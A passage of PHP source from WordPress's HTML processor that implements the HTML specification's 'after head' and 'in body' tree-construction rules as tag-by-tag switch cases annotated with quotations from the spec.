			 * > "link", "meta", "noframes", "style"
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+STYLE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This should never happen, as the Tag Processor prevents showing a BR closing tag.
			 */
		}

		/*
		 * > A start tag whose tag name is one of: "head", "noscript"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || '+NOSCRIPT' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * Anything here is a parse error.
		 */
		in_head_noscript_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after head' insertion mode.
	 *
	 * This internal function performs the 'after head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}
				goto after_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "body"
			 */
			case '+BODY':
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
				return true;

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
				return true;

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound",
			 * > "link", "meta", "noframes", "script", "style", "template", "title"
			 *
			 * Anything here is a parse error.
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
				/*
				 * > Push the node pointed to by the head element pointer onto the stack of open elements.
				 * > Process the token using the rules for the "in head" insertion mode.
				 * > Remove the node pointed to by the head element pointer from the stack of open elements. (It might not be the current node at this point.)
				 */
				$this->bail( 'Cannot process elements after HEAD which reopen the HEAD element.' );
				/*
				 * Do not leave this break in when adding support; it's here to prevent
				 * WPCS from getting confused at the switch structure without a return,
				 * because it doesn't know that `bail()` always throws.
				 */
				break;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto after_head_anything_else;
				break;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 * > Insert an HTML element for a "body" start tag token with no attributes.
		 */
		after_head_anything_else:
		$this->insert_virtual_node( 'BODY' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in body' insertion mode.
	 *
	 * This internal function performs the 'in body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_body(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * Any successive sequence of NULL bytes is ignored and won't
				 * trigger active format reconstruction. Therefore, if the text
				 * only comprises NULL bytes then the token should be ignored
				 * here, but if there are any other characters in the stream
				 * the active formats should be reconstructed.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->reconstruct_active_formatting_elements();

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 * > Parse error. Ignore the token.
			 */
			case 'html':
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					/*
					 * > Otherwise, for each attribute on the token, check to see if the attribute
					 * > is already present on the top element of the stack of open elements. If
					 * > it is not, add the attribute and its corresponding value to that element.
					 *
					 * This parser does not currently support this behavior: ignore the token.
					 */
				}

				// Ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * >
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "body"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+BODY':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					$this->state->stack_of_open_elements->contains( 'TEMPLATE' )
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, set the frameset-ok flag to "not ok"; then, for each attribute
				 * > on the token, check to see if the attribute is already present on the body
				 * > element (the second element) on the stack of open elements, and if it is
				 * > not, add the attribute and its corresponding value to that element.
				 *
				 * This parser does not currently support this behavior: ignore the token.
				 */
				$this->state->frameset_ok = false;
				return $this->step();

			/*
			 * > A start tag whose tag name is "frameset"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+FRAMESET':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					false === $this->state->frameset_ok
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, run the following steps:
				 */
				$this->bail( 'Cannot process non-ignored FRAMESET tags.' );
				break;

			/*
			 * > An end tag whose tag name is "body"
			 */
			case '-BODY':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				/*
				 * The BODY element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "address", "article", "aside",
			 * > "blockquote", "center", "details", "dialog", "dir", "div", "dl",
			 * > "fieldset", "figcaption", "figure", "footer", "header", "hgroup",
			 * > "main", "menu", "nav", "ol", "p", "search", "section", "summary", "ul"
			 */
			case '+ADDRESS':
			case '+ARTICLE':
			case '+ASIDE':
			case '+BLOCKQUOTE':
			case '+CENTER':
			case '+DETAILS':
			case '+DIALOG':
			case '+DIR':
			case '+DIV':
			case '+DL':
			case '+FIELDSET':
			case '+FIGCAPTION':
			case '+FIGURE':
			case '+FOOTER':
			case '+HEADER':
			case '+HGROUP':
			case '+MAIN':
			case '+MENU':
			case '+NAV':
			case '+OL':
			case '+P':
			case '+SEARCH':
			case '+SECTION':
			case '+SUMMARY':
			case '+UL':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				if (
					in_array(
						$this->state->stack_of_open_elements->current_node()->node_name,
						array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ),
						true
					)
				) {
					// @todo Indicate a parse error once it's possible.
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "pre", "listing"
			 */
			case '+PRE':
			case '+LISTING':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token,
				 * > then ignore that token and move on to the next one. (Newlines
				 * > at the start of pre blocks are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 */
			case '+FORM':
				$stack_contains_template = $this->state->stack_of_open_elements->contains( 'TEMPLATE' );

				if ( isset( $this->state->form_element ) && ! $stack_contains_template ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				if ( ! $stack_contains_template ) {
					$this->state->form_element = $this->state->current_token;
				}

				return true;

			/*
			 * > A start tag whose tag name is "li"
			 * > A start tag whose tag name is one of: "dd", "dt"
			 */
			case '+DD':
			case '+DT':
			case '+LI':
				$this->state->frameset_ok = false;
				$node                     = $this->state->stack_of_open_elements->current_node();
				$is_li                    = 'LI' === $token_name;

				in_body_list_loop:
				/*
				 * The logic for LI and DT/DD is the same except for one point: LI elements _only_
				 * close other LI elements, but a DT or DD element closes _any_ open DT or DD element.
				 */
				if ( $is_li ? 'LI' === $node->node_name : ( 'DD' === $node->node_name || 'DT' === $node->node_name ) ) {
					$node_name = $is_li ? 'LI' : $node->node_name;
					$this->generate_implied_end_tags( $node_name );
					if ( ! $this->state->stack_of_open_elements->current_node_is( $node_name ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( $node_name );
					goto in_body_list_done;
				}

				if (
					'ADDRESS' !== $node->node_name &&
					'DIV' !== $node->node_name &&
					'P' !== $node->node_name &&
					self::is_special( $node )
				) {
					/*
					 * > If node is in the special category, but is not an address, div,
					 * > or p element, then jump to the step labeled done below.
					 */
					goto in_body_list_done;
				} else {
					/*
					 * > Otherwise, set node to the previous entry in the stack of open elements
					 * > and return to the step labeled loop.
					 */
					foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
						$node = $item;
						break;
					}
					goto in_body_list_loop;
				}

				in_body_list_done:
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '+PLAINTEXT':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * @todo This may need to be handled in the Tag Processor and turn into
				 *       a single self-contained tag like TEXTAREA, whose modifiable text
				 *       is the rest of the input document as plaintext.
				 */
				$this->bail( 'Cannot process PLAINTEXT elements.' );
				break;

			/*
			 * > A start tag whose tag name is "button"
			 */
			case '+BUTTON':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'BUTTON' ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					$this->generate_implied_end_tags();
					$this->state->stack_of_open_elements->pop_until( 'BUTTON' );
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				return true;

			/*
			 * > An end tag whose tag name is one of: "address", "article", "aside", "blockquote",
			 * > "button", "center", "details", "dialog", "dir", "div", "dl", "fieldset",
			 * > "figcaption", "figure", "footer", "header", "hgroup", "listing", "main",
			 * > "menu", "nav", "ol", "pre", "search", "section", "summary", "ul"
			 */
			case '-ADDRESS':
			case '-ARTICLE':
			case '-ASIDE':
			case '-BLOCKQUOTE':
			case '-BUTTON':
			case '-CENTER':
			case '-DETAILS':
			case '-DIALOG':
			case '-DIR':
			case '-DIV':
			case '-DL':
			case '-FIELDSET':
			case '-FIGCAPTION':
			case '-FIGURE':
			case '-FOOTER':
			case '-HEADER':
			case '-HGROUP':
			case '-LISTING':
			case '-MAIN':
			case '-MENU':
			case '-NAV':
			case '-OL':
			case '-PRE':
			case '-SEARCH':
			case '-SECTION':
			case '-SUMMARY':
			case '-UL':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// @todo Report parse error.
					// Ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}
				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is "form"
			 */
			case '-FORM':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					$node                      = $this->state->form_element;
					$this->state->form_element = null;

					/*
					 * > If node is null or if the stack of open elements does not have node
					 * > in scope, then this is a parse error; return and ignore the token.
					 *
					 * @todo It's necessary to check if the form token itself is in scope, not
					 *       simply whether any FORM is in scope.
					 */
					if (
						null === $node ||
						! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' )
					) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();
					if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
						$this->bail( 'Cannot close a FORM when other elements remain open as this would throw off the breadcrumbs for the following tokens.' );
					}

					$this->state->stack_of_open_elements->remove_node( $node );
					return true;
				} else {
					/*
					 * > If the stack of open elements does not have a form element in scope,
					 * > then this is a parse error; return and ignore the token.
					 *
					 * Note that unlike in the clause above, this is checking for any FORM in scope.
					 */
					if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' ) ) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();

					if ( ! $this->state->stack_of_open_elements->current_node_is( 'FORM' ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( 'FORM' );
					return true;
				}
				break;

			/*
			 * > An end tag whose tag name is "p"
			 */
			case '-P':
				if ( ! $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->insert_html_element( $this->state->current_token );
				}

				$this->close_a_p_element();
				return true;

			/*
			 * > An end tag whose tag name is "li"
			 * > An end tag whose tag name is one of: "dd", "dt"
			 */
			case '-DD':
			case '-DT':
			case '-LI':
				if (
					/*
					 * An end tag whose tag name is "li":
					 * If the stack of open elements does not have an li element in list item scope,
					 * then this is a parse error; ignore the token.
					 */
					(
						'LI' === $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_list_item_scope( 'LI' )
					) ||
					/*
					 * An end tag whose tag name is one of: "dd", "dt":
					 * If the stack of open elements does not have an element in scope that is an
					 * HTML element with the same tag name as that of the token, then this is a
					 * parse error; ignore the token.
					 */
					(
						'LI' !== $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_scope( $token_name )
					)
				) {
					/*
					 * This is a parse error, ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags( $token_name );

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '-H1':
			case '-H2':
			case '-H3':
			case '-H4':
			case '-H5':
			case '-H6':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( '(internal: H1 through H6 - do not use)' ) ) {
					/*
					 * This is a parse error; ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags();

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}

				$this->state->stack_of_open_elements->pop_until( '(internal: H1 through H6 - do not use)' );
				return true;

			/*
			 * > A start tag whose tag name is "a"
			 */
			case '+A':
				foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
					switch ( $item->node_name ) {
						case 'marker':
							break 2;

						case 'A':
							$this->run_adoption_agency_algorithm();
							$this->state->active_formatting_elements->remove_node( $item );
							$this->state->stack_of_open_elements->remove_node( $item );
							break 2;
					}
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "b", "big", "code", "em", "font", "i",
			 * > "s", "small", "strike", "strong", "tt", "u"
			 */
			case '+B':
			case '+BIG':
			case '+CODE':
			case '+EM':
			case '+FONT':
			case '+I':
			case '+S':
			case '+SMALL':
			case '+STRIKE':
			case '+STRONG':
			case '+TT':
			case '+U':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "nobr"
			 */
			case '+NOBR':
				$this->reconstruct_active_formatting_elements();

				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'NOBR' ) ) {
					// Parse error.
					$this->run_adoption_agency_algorithm();
					$this->reconstruct_active_formatting_elements();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i",
			 * > "nobr", "s", "small", "strike", "strong", "tt", "u"
			 */
			case '-A':
			case '-B':
			case '-BIG':
			case '-CODE':
			case '-EM':
			case '-FONT':
			case '-I':
			case '-NOBR':
			case '-S':
			case '-SMALL':
			case '-STRIKE':
			case '-STRONG':
			case '-TT':
			case '-U':
				$this->run_adoption_agency_algorithm();
				return true;

			/*
			 * > A start tag whose tag name is one of: "applet", "marquee", "object"
			 */
			case '+APPLET':
			case '+MARQUEE':
			case '+OBJECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A end tag token whose tag name is one of: "applet", "marquee", "object"
			 */
			case '-APPLET':
			case '-MARQUEE':
			case '-OBJECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// This is a parse error.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				return true;

			/*
			 * > A start tag whose tag name is "table"
			 */
			case '+TABLE':
				/*
				 * > If the Document is not set to quirks mode, and the stack of open elements
				 * > has a p element in button scope, then close a p element.
				 */
				if (
					WP_HTML_Tag_Processor::QUIRKS_MODE !== $this->compat_mode &&
					$this->state->stack_of_open_elements->has_p_in_button_scope()
				) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This is prevented from happening because the Tag Processor
			 * reports all closing BR tags as if they were opening tags.
			 */

			/*
			 * > A start tag whose tag name is one of: "area", "br", "embed", "img", "keygen", "wbr"
			 */
			case '+AREA':
			case '+BR':
			case '+EMBED':
			case '+IMG':
			case '+KEYGEN':
			case '+WBR':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "input"
			 */
			case '+INPUT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the token does not have an attribute with the name "type", or if it does,
				 * > but that attribute's value is not an ASCII case-insensitive match for the
				 * > string "hidden", then: set the frameset-ok flag to "not ok".
				 */
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					$this->state->frameset_ok = false;
				}

				return true;

			/*
			 * > A start tag whose tag name is one of: "param", "source", "track"
			 */
			case '+PARAM':
			case '+SOURCE':
			case '+TRACK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "hr"
			 */
			case '+HR':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "image"
			 */
			case '+IMAGE':
				/*
				 * > Parse error. Change the token's tag name to "img" and reprocess it. (Don't ask.)
				 *
				 * Note that this is handled elsewhere, so it should not be possible to reach this code.
				 */
				$this->bail( "Cannot process an IMAGE tag. (Don't ask.)" );
				break;

			/*
			 * > A start tag whose tag name is "textarea"
			 */
			case '+TEXTAREA':
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token, then ignore
				 * > that token and move on to the next one. (Newlines at the start of
				 * > textarea elements are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->state->frameset_ok = false;

				/*
				 * > Switch the insertion mode to "text".
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				return true;

			/*
			 * > A start tag whose tag name is "xmp"
			 */
			case '+XMP':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->reconstruct_active_formatting_elements();
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * A start tag whose tag name is "iframe"
			 */
			case '+IFRAME':
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noembed"
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOEMBED':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "select"
			 */
			case '+SELECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				switch ( $this->state->insertion_mode ) {
					/*
					 * > If the insertion mode is one of "in table", "in caption", "in table body", "in row",
					 * > or "in cell", then switch the insertion mode to "in select in table".
					 */
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
						break;

					/*
					 * > Otherwise, switch the insertion mode to "in select".
					 */
					default:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
						break;
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "optgroup", "option"
			 */
			case '+OPTGROUP':
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rb", "rtc"
			 */
			case '+RB':
			case '+RTC':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags();

					if ( $this->state->stack_of_open_elements->current_node_is( 'RUBY' ) ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rp", "rt"
			 */
			case '+RP':
			case '+RT':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags( 'RTC' );

					$current_node_name = $this->state->stack_of_open_elements->current_node()->node_name;
					if ( 'RTC' === $current_node_name || 'RUBY' === $current_node_name ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "math"
			 */
			case '+MATH':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust MathML attributes for the token. (This fixes the case of MathML attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'math';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is "svg"
			 */
			case '+SVG':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust SVG attributes for the token. (This fixes the case of SVG attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink in SVG.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'svg';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup",
			 * > "frame", "head", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+FRAME':
			case '+HEAD':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				// Parse error. Ignore the token.
				return $this->step();
		}

		if ( ! parent::is_tag_closer() ) {
			/*
			 * > Any other start tag
			 */
			$this->reconstruct_active_formatting_elements();
			$this->insert_html_element( $this->state->current_token );
			return true;
		} else {
			/*
			 * > Any other end tag
			 */

			/*
			 * Find the corresponding tag opener in the stack of open elements, if
			 * it exists before reaching a special element, which provides a kind
			 * of boundary in the stack. For example, a `</custom-tag>` should not
			 * close anything beyond its containing `P` or `DIV` element.
			 */
